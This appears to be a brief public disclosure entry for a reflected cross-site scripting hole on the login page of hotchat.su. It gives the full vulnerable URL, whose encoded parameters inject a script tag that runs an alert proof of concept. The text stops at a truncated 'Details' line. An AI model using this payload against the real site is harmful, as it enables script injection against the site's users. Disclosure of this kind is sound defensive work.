hotchat.su XSS vulnerability

Vulnerable URL: http://hotchat.su/login?a=0=%22%3E%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%22%3E%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details:...